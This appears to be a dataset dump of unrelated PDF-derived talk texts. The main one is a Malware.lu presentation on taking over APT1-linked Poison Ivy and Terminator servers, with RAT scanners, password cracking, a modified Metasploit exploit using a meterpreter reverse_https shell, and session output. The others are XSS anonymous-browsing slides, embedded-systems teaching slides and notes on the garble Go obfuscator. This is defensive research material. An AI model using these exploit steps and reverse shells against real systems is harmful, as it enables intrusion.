text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
(maybe ?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Malware.lu
July 2013
@r00tbsd – Paul Rascagnères
(maybe ?)APT1:
technical backstage
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Plan
- Malware.lu presentation
- Information gathering
- Poison Ivy
- Take-over of the C&C
- Terminator
- Taiwan discoveries
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
About malware.lu
Presentation of malware.lu
Mainteners:
- @r00tbsd – Paul Rascagnères
- @y0ug – Hugo Caron
- @defane – Stephane Emma
- MiniLX – Julien Maladrie
- @maijin212 – Maxime Morin
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
A few numbers
Here are some numbers about malware.lu
- 5,572,872 malware samples
- 41 articles
- complete analysis of Red October & Rannoh
- 2000 users
- 2550 followers on twitter (@malwarelu)
- 7GB of database
- 3,5TB of malware
- 1 tool: malwasm
- 1 company: CERT, consulting, Reverse Engineering, Malware
analysis, intelligence…
- and more…
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Before starting
Why maybe...
Concerning the attribution ??
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Plan
- Malware.lu presentation
- Information gathering
- Poison Ivy
- Take-over of the C&C
- Terminator
- Taiwan discoveries
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Information gathering
Mandiant report (http://intelreport.mandiant.com):
The remote administration tool Poison Ivy is mentioned.
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Information gathering
Our Poison Ivy scanner:
def check_poison(self, host, port, res):
try:
af, socktype, proto, canonname, sa = res
s = socket.socket(af, socktype, proto)
s.settimeout(6)
s.connect(sa)
stage1 = "\x00" * 0x100
s.sendall(stage1)
data = s.recv(0x100)
if len(data) != 0x100:
s.close()
return
data = s.recv(0x4)
s.close()
if
data != "\xD0\x15\x00\x00":
return
print "%s Poison %s %s:%d" % (datetime.datetime.now(), host,sa[0], sa[1])
except socket.timeout as e:
pass
except socket.error as e:
pass
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Information gathering
The scanned ports were :
- 3460 (default Poison Ivy port)
- 80 (HTTP port)
- 443 (HTTPS port)
- 8080 (alternate HTTP port)
We scanned a wide IP range located in HK.
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Information gathering
Statitics of the Poison Ivy availability.
IP range where PI servers were detected :
- 113.10.246.0-113.10.246.255: managed by NWT Broadband Service
- 202.65.220.0-202.65.220.255: managed by Pacific Scene
- 202.67.215.0-202.67.215.255: managed by HKNet Company
- 210.3.0.0-210.3.127.255: managed by Hutchison Global
Communications
- 219.76.239.216-219.76.239.223: managed by WINCOME CROWN
LIMITED
-70.39.64.0–70.39.127.255: managed by Sharktech
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Information gathering
Statitics of the Poison Ivy availability.
Working hours : (Luxembourgish timezone -6 hours)
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Plan
- Malware.lu presentation
- Information gathering
- Poison Ivy
- Take-over of the C&C
- Terminator
- Taiwan discoveries
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Poison Ivy
It's a RAT (Remote Administration Tool).
Available on the Internet :
http://www.poisonivy-rat.com/index.php?link=download
Features :
- File management;
- File search;
- File transfer;
- Registry management;
- Process management;
- Services management;
- Remote shell;
- Screenshot creation;
- Hash stealing;
- Audio capture;
- ...
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Poison Ivy
Remote code execution fond by Andrzej Dereszowski
Exploit on metasploit : exploits/windows/misc/poisonivy_bof
The exploit has 2 possible exploitation :
- by using the default password : admin
Or
- by using brute force
In our context these 2 solutions failed.
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Poison Ivy
We decided to modify the existing exploit to add a new option : the
password. (the source code is available in our report)
How to find the attackers password of PI ?
The password is used to encrypt the communication.
The encryption algorithm is Camellia.
The encryption is performed with 16 bytes blocks.
Poison Ivy has an “echo” feature, you send data, it returns the same
data but encrypted ;)
Our technique :
1. send 100 bytes (with 0x00) to the daemon
2. get the first 16 bytes as result from the daemon
Result=Camellia(16*0x00, key)
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Poison Ivy
We decided to create a John The Ripper extension to brute force our
Result. (the source code is available in our report)
rootbsd@alien:~/john-1.7.9$ cat test.txt
$camellia$ItGoyeyQIvPjT/qBoDKQZg==
rootbsd@alien:~/john-1.7.9$ ./john –format=camellia test.txt
Loaded 1 password hash (Camellia bruteforce [32/32])
No password hashes left to crack (see FAQ)
rootbsd@alien:~/john-1.7.9$ ./john --show test.txt
pswpsw
1 password hash cracked, 0 left
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Poison Ivy
msf exploit(poisonivy_bof_v2) > show options
Module options (exploit/windows/misc/poisonivy_bof_v2):
Name Current Setting Required Description
---- --------------- -------- -----------
Password pswpsw yes Client password
RANDHEADER false yes Send random bytes as the header
RHOST X.X.X.X yes The target address
RPORT 80 yes The target port
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit : seh, thread, process, none
LHOST my_server yes The local listener hostname
LPORT 8443 yes The local listener port
Exploit target:
Id Name
– ----
0 Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Poison Ivy
Once connected to the Poison Ivy server, we noticed that the server
had no public IP. We attacked a server with the IP X.X.X.X (identified
during the scan) and the meterpreter endpoint IP address was Y.Y.Y.Y.
We concluded that the Poison Ivy daemon was hidden behind a proxy
server , by using port forwarding to hide the real IP of the command &
control server.
We could also identify that the vendor ID of the MAC address is
VMWare.
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Poison Ivy
msf exploit(poisonivy_bof_v2) > exploit
[*] Started HTTPS reverse handler on https://my_server:8443/
[*] Meterpreter session 1
opened (my_server:8443->Y.Y.Y.Y:3325) at 2013-03-07 07:51:57+0100
Meterpreter> ipconfig
Interface 1
============
Name: MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 2
============
Name : AMD PCNET Family PCI Ethernet Adapter-ݰ
ƻݰݰݰ
Hardware MAC :00:0c:29:c9:86:57
MTU : 1500
IPv4 Address : 192.168.164.128
IPv4 Netmask : 255.255.255.0
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Plan
- Malware.lu presentation
- Information gathering
- Poison Ivy
- Take-over of the C&C
- Terminator
- Taiwan discoveries
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Take-over of the C&C
Architecture schema :
The binary used to manage
the proxy is called xport.exe
Syntax :
xport.exe Proxy_ip proxy_port Poison_Ivy_ip Poison_Ivy_port number
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Take-over of the C&C
RDP analysis :
rootbsd@alien:~/APT1$ cat list_ip.txt | sort –u | wc -l
384
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Take-over of the C&C
Screenshot of the attackers desktop :
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Take-over of the C&C
Screenshot of the
attackers desktop :
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Take-over of the C&C
First step :
take every tools used by the attackers
Second step :
Identify victims
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Take-over of the C&C
Architecture schema :
The binary used to manage
the proxy is called xport.exe
Syntax :
xport.exe Proxy_ip proxy_port Poison_Ivy_ip Poison_Ivy_port number
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Take-over of the C&C
We identify a second RAT hosted on the server : Terminator
The victims were :
- private companies
- public companies
- political institutions
- activists
- associations
- reporters
We warmed every identified targets.
The attackers looked for :
- .ppt(x)
- .xls(x)
- .doc(x)
- .pdf
- .jpg
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Plan
- Malware.lu presentation
- Information gathering
- Poison Ivy
- Take-over of the C&C
- Terminator
- Taiwan discoveries
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Terminator
This RAT was previously identified by TrendMicro as Fakem.
The server part was protected by password :
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Terminator
A CRC is performed to check the password :
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Terminator
After the CRC a XOR is performed:
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Terminator
So we developed a small tool to bf the password :
rootbsd@alien:~/terminator$ ./bf 10 0xdafd58f3
DEBUG:Ap@hX dafd58f3 dafd58f3
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Terminator
DEMO
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Terminator
We created a scanner for terminator too:
def check_terminator(self, host, port, res):
try:
af, socktype, proto, canonname, sa = res
s = socket.socket(af, socktype, proto)
s.settimeout(6)
s.connect(sa)
stage = "<html><title>12356</title><body>"
stage+= "\xa0\xf4\xf6\xf6"
Stage += "\xf6" * (0x400-len(stage))
s.sendall(stage)
data = s.recv(0x400)
if len(data) < 0x400:
return
if data.find("<html><title>12356</title><body>") == -1:
return
print "%s Terminator %s %s:%d" % (datetime.datetime.now(), host,sa[0], sa[1])
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Terminator
We found a vulnerability on Terminator.
We created a metasploit module called terminator_judgment_day
msf exploit
(terminator_judgment_day) > exploit
[*] Started HTTPS reverse handler on https://192.168.0.24:8443/
[*] Connection...
[*] 1024-653
[*] Send exploit...
[*] 192.168.0.45:1050 Request received for /q1fT...
[*] 192.168.0.45:1050 Staging connection for target /q1fT received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset
641776...
[*] Meterpreter session 1 opened (192.168.0.24:8443-> 192.168.0.45:1050) at
2013-03-13 10:04:38 +0100
meterpreter >
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Plan
- Malware.lu presentation
- Information gathering
- Poison Ivy
- Take-over of the C&C
- Terminator
- Taiwan discoveries
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Taiwan discoveries
Taiwan was targets...
Compromised infrastructure :
- tecom.com.tw
- loop.com.tw
- ZyXEL.com
- nkmu.edu.tw
...
Compromised email :
rootbsd@alien:$ find . | xargs grep '\.tw' 2>/dev/null | awk
-F: '{print $2}' | sort -u | grep \@ | wc -l
2247
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Taiwan discoveries
Attackers looked for :
- passwords (email, teamspeak, active directory, browser,...)
- documents (.doc, .xls, .pdf, .vsd,…)
- infrastructure schema
- certificats
- Domain Controler dump
- personal information
- public tendering
- ...
If you need more information, or one of the mentioned company, do
not hesitate to contact me !!!
I can give you the exfiltrate documents, infected hostname,
compromised username, provide IOC...
(maybe?)APT1 : technical backstage
@r00tbsd – Paul Rascagnères from Malware.lu
Conclusion
- More than 300 servers
- Use of proxy servers to hide their activities
- one server per target
- custom made malware
- working hours, such as office employees
- really good organization
“The only real defense is offensive defense” (Mao Zedong) | pdf |
Presenter
Jeff Yestrumskas
Sr. Manager, InfoSec @ SaaS org.
Personal DEFCON attendee:presenter ratio = 10:1
Presenter
Matt Flick
Principal, FYRM Associates
Information Assurance Consulting
Beer connoisseur
Agenda
What is XAB?
XAB History
What’s New?
Nitty Gritty
XAB Process Flow
Live Demo
Wrap-up
What is XAB?
Anonymous browsing tunneled over XSS
Victim/Participant transfers data
XAB History
Idea
Introduced @ Black Hat DC 2009
Working Demo
Released PoC
What’s New?
Solution to the HTTP referrer problem
Improved content handling
...
Nitty Gritty
Three components
XABAttacker (core of it all)
HTTProxab (everyday HTTP proxy with XAB
mods)
CDProxy (it’s seedy alright)
XAB Process Flow
Live Demo
Wrap-up
That was fast!
Further reading...
Download XAB @ www.fyrmassociates.com | pdf |
Training the Next
Generation of
Hardware Hackers
Teaching Computer Organization and
Assembly Language Hands-On with
Embedded Systems
Wednesday, May 5, 2010
Development
• Took about a year to develop and run
through our first semester with the
material
• We want to share our ideas, what we
learned, and the tools we built with
everyone
• We want to try to spread the hardware
hacking culture
Wednesday, May 5, 2010
Goals
• Get Undergraduate Electrical Engineering
and Computer Science students thinking
“closer to the metal”
• Computer organization is an integral part
understanding what your code does
• Assembly Language facilitates learning how
Computers and Microprocessors work
• Why teach Assembly Language?
Wednesday, May 5, 2010
Assembly Language
• For the actual design process, many times it
far easier and far more cost effective to use
C or other high-level languages
• However, Assembly puts you down closer
to the machine, and give you the
perspective to understand what’s happening
• Learn the hard way, then use the
Enlightened way (high-level language) once
you understand the fundamentals
Wednesday, May 5, 2010
How?
• Put a development kit in the hands of every
student taking the course
• Flatten the learning curve of working with
embedded systems
• Give each student a free, easy-to-use tool-
chain with which to work
Wednesday, May 5, 2010
Learning Curve
• Embedded Development is surprisingly
difficult to get into for newbies
• Embedded Systems IDEs can be very clunky
and hard to use (Eyes toward Freescale)
• Projects like Arduino have made lots of
headway - still not optimal for Comp. Org.
• Needed a better set of tools
Wednesday, May 5, 2010
The Bootloader
• On-chip “ROM” Bootloader from the
factory
• USB boot-loader allows loading code from
a student’s PC
• No expensive device-specific programmer
needed
• Problem: Current Boot-loader is from the
manufacturer and it only works with
Windows (we’re going to fix that)
Wednesday, May 5, 2010
Development Board
• Uses Freescale MC9S08JS16 chip
• Single Active IC
• USB boot-loader functionality
• 10 GPIO Pins (2 more with caveats)
• About 1.6” square
• $25 cost, in 50 qty
Wednesday, May 5, 2010
The Kit
• JS16 Development Board
• Small solderless breadboard
• USB Cable
• Parts for first project
• Packaged in a 6”x8” Zip-Lock Static Bag
• Various accessory daughter boards for each
project (minimizes wiring, helps
concentrate on the machine organization)
Wednesday, May 5, 2010
Wednesday, May 5, 2010
Photos/Videos of
Accessory boards
Wednesday, May 5, 2010
Assembler
• Built using python, runs on all major OSes
• translates Assembly files into Freescale’s
S19 file format for boot-loading
• Generates Human-Readable Listing Files
• Implements Macros, and a few custom
tweaks that are unique (as far as we know)
• Use whatever text editor you have available
Wednesday, May 5, 2010
First Semester
• 17 Students - Electrical Engineering and
Computer Science
• Each given a development board for the
semester
• Four projects, One hands-on Exam
• One professor, one teaching assistant
Wednesday, May 5, 2010
Projects (First Gen.)
• Blink an LED (show you can use the
toolchain)
• LED Patterns to simulate real (and
fictitious) events -- (e.g. a traffic light)
• Scrolling Characters on an LED Display
(Row/Column Arrangement)
• Crayon Vending Machine system with
motor control
Wednesday, May 5, 2010
Lessons from 1st
Semester
• Static Safety-- students need to be taught
forcefully about static. An ESD warning
sticker and telling people to be careful isn’t
enough
• Reworking boards is incredibly time
consuming (for the Teaching Assistant)
• Using the manufacturer’s bootloader was a
limiting factor and it needs to be
reimplemented
Wednesday, May 5, 2010
Future Work
• Rewriting the bootloader as a USB mass-
storage device (cross-platform)
• More example code, continue the never-
ending drive for better documentation
• Put an inexpensive In-Circuit Emulator in
the hands of each student
• In-System Instruction-by-Instruction
debugging is an incredible learning tool, but
it is expensive for now (non-free software)
Wednesday, May 5, 2010
Documentation
Available at:
ee.base2.us
Wednesday, May 5, 2010
Completely Open
• Gerber files available for PCB
• Assembler available under the GPL
• Parts List, instructions for putting it all
together available online
• We want others to use, modify, and help
spread the things we’ve developed
Wednesday, May 5, 2010
Questions?
Wednesday, May 5, 2010
Expected Question
• I want a board!
• Everything is open source - you can make
one with the information provided
• We don’t want or have the means to sell or
make them in quantity - we can show you
how to build one
Wednesday, May 5, 2010 | pdf |
garble 研究
目录
Go编译流程
garble
结果
编译输出
asm
compile
link
其他
garble的混淆
文本的混淆
总结
参考
Go编译流程
创建临时目录,mkdir -p $WORK/b001/
查找依赖信息,cat >$WORK/b001/importcfg << ...
执行源代码编译,/usr/local/go/pkg/tool/darwin_amd64/compile ...
收集链接库文件,cat >$WORK/b001/importcfg.link << ...
生成可执行文件,/usr/local/go/pkg/tool/darwin_amd64/link -o ...
移动可执行文件,mv $WORK/b001/exe/a.out hello
参考:
https://zhuanlan.zhihu.com/p/62922404
garble
结果
garble.exe --debug build -a ./testdata/bench/
C:\Users\xqx\Downloads\garble-0.6.0>garble.exe --debug build -a
./testdata/bench/
[garble] original build info obtained in 404.58ms via: go list -json -export -
trimpath -deps ./testdata/bench/
[garble] calling via toolexec: C:\Program Files\Go\bin\go.exe build -trimpath -
toolexec=C:\Users\xqx\Downloads\garble-0.6.0\garble.exe -debug -a
./testdata/bench/
# internal/unsafeheader
[garble] shared cache loaded in 1.01ms from
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\main-cache.gob
[garble] transforming compile with args: -o $WORK\b005\_pkg_.a -trimpath
C:\Program
Files\Go\src\internal\unsafeheader=>internal/unsafeheader;C:\Users\xqx\AppData\L
ocal\
Temp\go-build836191770\b005=> -p internal/unsafeheader -std -complete -buildid
6Lk3G_89Pb2Kfju4e-Kd/6Lk3G_89Pb2Kfju4e-Kd -goversion go1.17.3 -importcfg
$WORK\b005\import
cfg -pack -c=4 C:\Program Files\Go\src\internal\unsafeheader\unsafeheader.go
[garble] 0 cached output files loaded in 0s
[garble] obfuscating unsafeheader.go
[garble] transformed args for compile in 9.22ms: -o $WORK\b005\_pkg_.a -trimpath
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362=>;C:\Program
Files\Go\src\intern
al\unsafeheader=>internal/unsafeheader;C:\Users\xqx\AppData\Local\Temp\go-
build836191770\b005=> -p internal/unsafeheader -std -complete -buildid
6Lk3G_89Pb2Kfju4e-Kd/6Lk
3G_89Pb2Kfju4e-Kd -goversion go1.17.3 -importcfg
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\importcfg3347418780 -pack
-c=4 -dwarf=false C:\Users\xqx\AppData
\Local\Temp\garble-shared2294351362\internal\unsafeheader\unsafeheader.go
# internal/itoa
[garble] shared cache loaded in 500µs from
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\main-cache.gob
[garble] transforming compile with args: -o $WORK\b017\_pkg_.a -trimpath
C:\Program
Files\Go\src\internal\itoa=>internal/itoa;C:\Users\xqx\AppData\Local\Temp\go-
build836
191770\b017=> -p internal/itoa -std -complete -buildid -BCSBCPmEkEnLXa0PI47/-
BCSBCPmEkEnLXa0PI47 -goversion go1.17.3 -importcfg $WORK\b017\importcfg -pack -
c=4 C:\Progra
m Files\Go\src\internal\itoa\itoa.go
[garble] 0 cached output files loaded in 0s
[garble] obfuscating itoa.go
[garble] transformed args for compile in 17.14ms: -o $WORK\b017\_pkg_.a -
trimpath C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362=>;C:\Program
Files\Go\src\inter
nal\itoa=>internal/itoa;C:\Users\xqx\AppData\Local\Temp\go-build836191770\b017=>
-p internal/itoa -std -complete -buildid -BCSBCPmEkEnLXa0PI47/-
BCSBCPmEkEnLXa0PI47 -gove
rsion go1.17.3 -importcfg C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\importcfg1453761144 -pack -c=4 -dwarf=false
C:\Users\xqx\AppData\Local\Temp\garble-shar
ed2294351362\internal\itoa\itoa.go
# internal/goexperiment
[garble] shared cache loaded in 690µs from
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\main-cache.gob
[garble] transforming compile with args: -o $WORK\b011\_pkg_.a -trimpath
C:\Program
Files\Go\src\internal\goexperiment=>internal/goexperiment;C:\Users\xqx\AppData\L
ocal\
Temp\go-build836191770\b011=> -p internal/goexperiment -std -complete -buildid
AaNIMFgI4A3uj5PTZLyS/AaNIMFgI4A3uj5PTZLyS -goversion go1.17.3 -importcfg
$WORK\b011\import
cfg -pack -c=4 C:\Program
Files\Go\src\internal\goexperiment\exp_fieldtrack_off.go C:\Program
Files\Go\src\internal\goexperiment\exp_preemptibleloops_off.go C:\Program F
iles\Go\src\internal\goexperiment\exp_regabi_off.go C:\Program
Files\Go\src\internal\goexperiment\exp_regabiargs_on.go C:\Program
Files\Go\src\internal\goexperiment\exp_
regabidefer_on.go C:\Program Files\Go\src\internal\goexperiment\exp_regabig_on.go
C:\Program Files\Go\src\internal\goexperiment\exp_regabireflect_on.go C:\Program
Files\
Go\src\internal\goexperiment\exp_regabiwrappers_on.go C:\Program
Files\Go\src\internal\goexperiment\exp_staticlockranking_off.go C:\Program
Files\Go\src\internal\goexper
iment\flags.go
[garble] 0 cached output files loaded in 0s
[garble] obfuscating exp_fieldtrack_off.go
[garble] obfuscating exp_preemptibleloops_off.go
[garble] obfuscating exp_regabi_off.go
[garble] obfuscating exp_regabiargs_on.go
[garble] obfuscating exp_regabidefer_on.go
[garble] obfuscating exp_regabig_on.go
[garble] obfuscating exp_regabireflect_on.go
[garble] obfuscating exp_regabiwrappers_on.go
[garble] obfuscating exp_staticlockranking_off.go
[garble] obfuscating flags.go
[garble] transformed args for compile in 40.53ms: -o $WORK\b011\_pkg_.a -
trimpath C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362=>;C:\Program
Files\Go\src\inter
nal\goexperiment=>internal/goexperiment;C:\Users\xqx\AppData\Local\Temp\go-
build836191770\b011=> -p internal/goexperiment -std -complete -buildid
AaNIMFgI4A3uj5PTZLyS/Aa
NIMFgI4A3uj5PTZLyS -goversion go1.17.3 -importcfg
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\importcfg268640723 -pack
-c=4 -dwarf=false C:\Users\xqx\AppData
\Local\Temp\garble-shared2294351362\internal\goexperiment\exp_fieldtrack_off.go
C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\internal\goexperiment\exp_preempt
ibleloops_off.go C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\internal\goexperiment\exp_regabi_off.go
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\
internal\goexperiment\exp_regabiargs_on.go
C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\internal\goexperiment\exp_regabidefer_on.go
C:\Users\xqx\AppData\Local
\Temp\garble-shared2294351362\internal\goexperiment\exp_regabig_on.go
C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\internal\goexperiment\exp_regabireflect_on.
go C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\internal\goexperiment\exp_regabiwrappers_on.go
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\interna
l\goexperiment\exp_staticlockranking_off.go
C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\internal\goexperiment\flags.go
# runtime/internal/sys
[garble] shared cache loaded in 500µs from
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\main-cache.gob
[garble] transforming compile with args: -o $WORK\b014\_pkg_.a -trimpath
C:\Program
Files\Go\src\runtime\internal\sys=>runtime/internal/sys;C:\Users\xqx\AppData\Loc
al\Te
mp\go-build836191770\b014=> -p runtime/internal/sys -std -+ -complete -buildid
8MiuDUOMD-E_hYCGRTtB/8MiuDUOMD-E_hYCGRTtB -goversion go1.17.3 -importcfg
$WORK\b014\import
cfg -pack -c=4 C:\Program Files\Go\src\runtime\internal\sys\arch.go C:\Program
Files\Go\src\runtime\internal\sys\arch_amd64.go C:\Program
Files\Go\src\runtime\internal\s
ys\intrinsics.go C:\Program
Files\Go\src\runtime\internal\sys\intrinsics_common.go C:\Program
Files\Go\src\runtime\internal\sys\sys.go C:\Program Files\Go\src\runtime\in
ternal\sys\zgoarch_amd64.go C:\Program
Files\Go\src\runtime\internal\sys\zgoos_windows.go C:\Program
Files\Go\src\runtime\internal\sys\zversion.go
[garble] 0 cached output files loaded in 0s
[garble] obfuscating arch.go
[garble] obfuscating arch_amd64.go
[garble] obfuscating intrinsics.go
[garble] obfuscating intrinsics_common.go
[garble] obfuscating sys.go
[garble] obfuscating zgoarch_amd64.go
[garble] obfuscating zgoos_windows.go
[garble] obfuscating zversion.go
[garble] transformed args for compile in 39.45ms: -o $WORK\b014\_pkg_.a -
trimpath C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362=>;C:\Program
Files\Go\src\runti
me\internal\sys=>runtime/internal/sys;C:\Users\xqx\AppData\Local\Temp\go-
build836191770\b014=> -p runtime/internal/sys -std -+ -complete -buildid
8MiuDUOMD-E_hYCGRTtB/8M
iuDUOMD-E_hYCGRTtB -goversion go1.17.3 -importcfg
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\importcfg987266780 -pack
-c=4 -dwarf=false C:\Users\xqx\AppData
\Local\Temp\garble-shared2294351362\runtime\internal\sys\arch.go
C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\runtime\internal\sys\arch_amd64.go C:\Users\xqx\
AppData\Local\Temp\garble-shared2294351362\runtime\internal\sys\intrinsics.go
C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\runtime\internal\sys\intrinsics_com
mon.go C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\runtime\internal\sys\sys.go
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\runtime\internal\sys\z
goarch_amd64.go C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\runtime\internal\sys\zgoos_windows.go
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\run
time\internal\sys\zversion.go
.....
# mvdan.cc/garble/testdata/bench
[garble] shared cache loaded in 540µs from
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\main-cache.gob
[garble] transforming compile with args: -o $WORK\b001\_pkg_.a -trimpath
testdata\bench=>mvdan.cc/garble/testdata/bench;C:\Users\xqx\AppData\Local\Temp\g
o-build836191770
\b001=> -p main -lang=go1.17 -complete -buildid
oPQfaqvonXktxy9dr95P/oPQfaqvonXktxy9dr95P -goversion go1.17.3 -importcfg
$WORK\b001\importcfg -pack -c=4 testdata\bench\m
ain.go $WORK\b001\_gomod_.go
[garble] 112 cached output files loaded in 10.8ms
[garble] obfuscating main.go
[garble] variable "globalVar" hashed with 7d903eea… to "gf8zsqbo"
[garble] func "globalFunc" hashed with 7d903eea… to "bQjhlHrm"
自定义 toolexec
[garble] variable "client" hashed with 7d903eea… to "i8DzReeX"
[garble] transformed args for compile in 20.33ms: -o $WORK\b001\_pkg_.a -
trimpath C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362=>;C:\Users\xqx\Downloads\garble
-0.6.0\testdata\bench=>mvdan.cc/garble/testdata/bench;C:\Users\xqx\AppData\Local
\Temp\go-build836191770\b001=> -p main -lang=go1.17 -complete -buildid
oPQfaqvonXktxy9dr9
5P/oPQfaqvonXktxy9dr95P -goversion go1.17.3 -importcfg
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\importcfg1142513877 -pack
-c=4 -dwarf=false C:\Users\xqx\A
ppData\Local\Temp\garble-shared2294351362\mvdan.cc\garble\testdata\bench\main.go
# mvdan.cc/garble/testdata/bench
[garble] shared cache loaded in 480µs from
C:\Users\xqx\AppData\Local\Temp\garble-shared2294351362\main-cache.gob
[garble] transforming link with args: -o $WORK\b001\exe\a.out.exe -importcfg
$WORK\b001\importcfg.link -buildmode=pie -
buildid=h5e58VKbHBCeUEM0NR_6/oPQfaqvonXktxy9dr95P/
_bycLMJG9n8WNvWDweJi/h5e58VKbHBCeUEM0NR_6 -extld=gcc $WORK\b001\_pkg_.a
[garble] transformed args for link in 2.41ms: -o $WORK\b001\exe\a.out.exe -
importcfg C:\Users\xqx\AppData\Local\Temp\garble-
shared2294351362\importcfg4226991747 -buildmo
de=pie -buildid= -extld=gcc -X=runtime.buildVersion=unknown -w -s
$WORK\b001\_pkg_.a
package main
import (
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
)
func main() {
log.SetPrefix("[wrapper] ")
if len(os.Args) < 3 {
log.Fatal("wrong usage, you should call me through `go build -
toolexec=/path/to/me`")
}
toolAbsPath := os.Args[1]
args := os.Args[2:] // go build args
_, toolName := filepath.Split(toolAbsPath)
if runtime.GOOS == "windows" {
toolName = strings.TrimSuffix(toolName, ".exe")
}
//switch toolName {
//case "compile":
// log.Println("compile", args)
//case "link":
使用-a全部重新编译
编译输出
// log.Println("link", args)
//default:
//}
log.Println(toolName, args)
cmd := exec.Command(toolAbsPath, args...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Run()
}
C:\Users\xqx\Downloads\garble-0.6.0\ddiy>go build -a -toolexec
C:\Users\xqx\Downloads\garble-0.6.0\ddiy\ddiy.exe main.go
# internal/goexperiment
[wrapper] 2022/06/13 20:01:38 compile [-o $WORK\b012\_pkg_.a -trimpath
$WORK\b012=> -p internal/goexperiment -std -complete -buildid J-HmRi4lXS-
jISk8MOcl/J-HmRi4lXS-jISk
8MOcl -goversion go1.17.3 -importcfg $WORK\b012\importcfg -pack -c=4 C:\Program
